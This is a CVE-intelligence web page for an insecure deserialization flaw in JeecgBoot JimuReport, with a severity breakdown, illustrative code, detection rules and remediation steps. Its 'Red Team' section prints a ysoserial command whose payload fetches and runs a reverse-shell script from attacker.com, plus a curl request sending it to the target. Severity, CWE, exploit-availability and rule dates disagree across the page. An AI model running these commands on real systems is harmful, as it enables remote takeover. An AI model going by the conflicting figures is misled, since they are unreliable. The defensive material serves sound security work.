☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10771

CVE-2025-10771 Insecure Deserialization in Jeecgboot
📅 PUBLISHED: 2025-09-21 23:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10771 is a critical deserialization vulnerability in the JeecgBoot JimuReport component, affecting versions up to 2.1.2. The flaw resides in the /drag/onlDragDataSource/testConnection endpoint, specifically within the DB2 JDBC handler. By manipulating the clientRerouteServerListJNDIName argument, an unauthenticated remote attacker can trigger deserialization of untrusted data, leading to arbitrary code execution. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited data modification.
  • Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability exists in the DB2 JDBC connection testing functionality of JimuReport. The clientRerouteServerListJNDIName parameter is passed to a deserialization routine without proper sanitization. When a malicious serialized object is supplied, the application deserializes it, allowing an attacker to execute arbitrary code on the server. This is a classic insecure deserialization flaw (CWE-502).

The attack flow:

  1. Attacker sends a crafted POST request to /drag/onlDragDataSource/testConnection.
  2. The clientRerouteServerListJNDIName parameter contains a serialized Java object (e.g., a gadget chain like CommonsCollections).
  3. The application deserializes the object, triggering the gadget chain.
  4. Arbitrary code execution is achieved in the context of the application server.

Vulnerable vs. Patched Code

Vulnerable Code (JimuReport <= 2.1.2):

// Vulnerable endpoint
@RequestMapping("/testConnection")
public Result testConnection(@RequestParam String clientRerouteServerListJNDIName) {
    // Direct deserialization without validation
    Object obj = deserialize(clientRerouteServerListJNDIName);
    // ... use obj
}

Patched Code (Hypothetical fix):

// Patched endpoint
@RequestMapping("/testConnection")
public Result testConnection(@RequestParam String clientRerouteServerListJNDIName) {
    // Validate input format
    if (!isValidJNDIName(clientRerouteServerListJNDIName)) {
        return Result.error("Invalid JNDI name");
    }
    // Use safe deserialization with allowlist
    Object obj = safeDeserialize(clientRerouteServerListJNDIName, allowedClasses);
    // ... use obj
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy JeecgBoot with JimuReport 2.1.2 on a vulnerable server.
  2. Use a tool like ysoserial to generate a malicious serialized object (e.g., CommonsCollections1).
  3. Encode the payload as base64 or URL-encoded.

Exploit Command:

# Generate payload using ysoserial
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/revshell.sh | bash' > payload.bin

# Base64 encode
base64 payload.bin > payload.b64

# Send exploit
curl -X POST http://target:8080/drag/onlDragDataSource/testConnection \
  -d "clientRerouteServerListJNDIName=$(cat payload.b64)"

Expected Outcome: Reverse shell or command execution on the target server.

Blue Team

Detection Steps:

  1. Monitor for unusual POST requests to /drag/onlDragDataSource/testConnection.
  2. Inspect the clientRerouteServerListJNDIName parameter for base64-encoded or binary data.
  3. Check for outbound connections to unknown IPs from the application server.
  4. Review logs for deserialization errors or unexpected class loading.

Mitigation:

  • Implement a Web Application Firewall (WAF) rule to block requests with suspicious clientRerouteServerListJNDIName values.
  • Disable the vulnerable endpoint if not required.
  • Apply input validation and use a deserialization allowlist.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /drag/onlDragDataSource/testConnection with large or binary payloads.
    • Outbound connections to attacker-controlled IPs on ports 80, 443, or 4444.
  • File IOCs:
    • Unexpected files in /tmp or application directories (e.g., revshell.sh).
    • Modified or new JAR files in the classpath.
  • Process IOCs:
    • Unusual child processes spawned by the Java application (e.g., bash, curl, wget).
  • Log IOCs:
    • Deserialization errors in application logs.
    • ClassNotFoundException for unexpected classes.

Detection Engineering

YARA Rule

rule CVE_2025_10771_Deserialization {
    meta:
        description = "Detects exploit attempts for CVE-2025-10771 in JimuReport"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-10771"
    strings:
        $s1 = "clientRerouteServerListJNDIName" ascii wide nocase
        $s2 = "testConnection" ascii wide nocase
        $s3 = "rO0AB" ascii wide // Base64 encoded Java serialized object
        $s4 = "aced0005" ascii wide // Hex encoded Java serialized object
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-10771 JimuReport Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with serialized payloads
author: Valters IT
date: 2025-02-20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/drag/onlDragDataSource/testConnection'
        cs-uri-query|contains: 'clientRerouteServerListJNDIName='
    condition: selection
falsepositives:
    - Legitimate JNDI name testing (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10771 JimuReport Deserialization Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/drag/onlDragDataSource/testConnection"; http_uri;
    content:"clientRerouteServerListJNDIName="; http_client_body;
    pcre:"/rO0AB|aced0005/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint by removing or commenting out the testConnection mapping in the application configuration.
  2. Apply input validation to the clientRerouteServerListJNDIName parameter, allowing only expected JNDI name formats.
  3. Implement a deserialization allowlist using a library like SerialKiller or ObjectInputFilter.
  4. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

  • Upgrade to a patched version of JimuReport once available.
  • Conduct a security audit of all deserialization points in the application.
  • Use a Web Application Firewall (WAF) with custom rules to block exploit patterns.

Workaround:

  • If the endpoint is required, restrict access to trusted IPs only via network-level controls.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10771/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.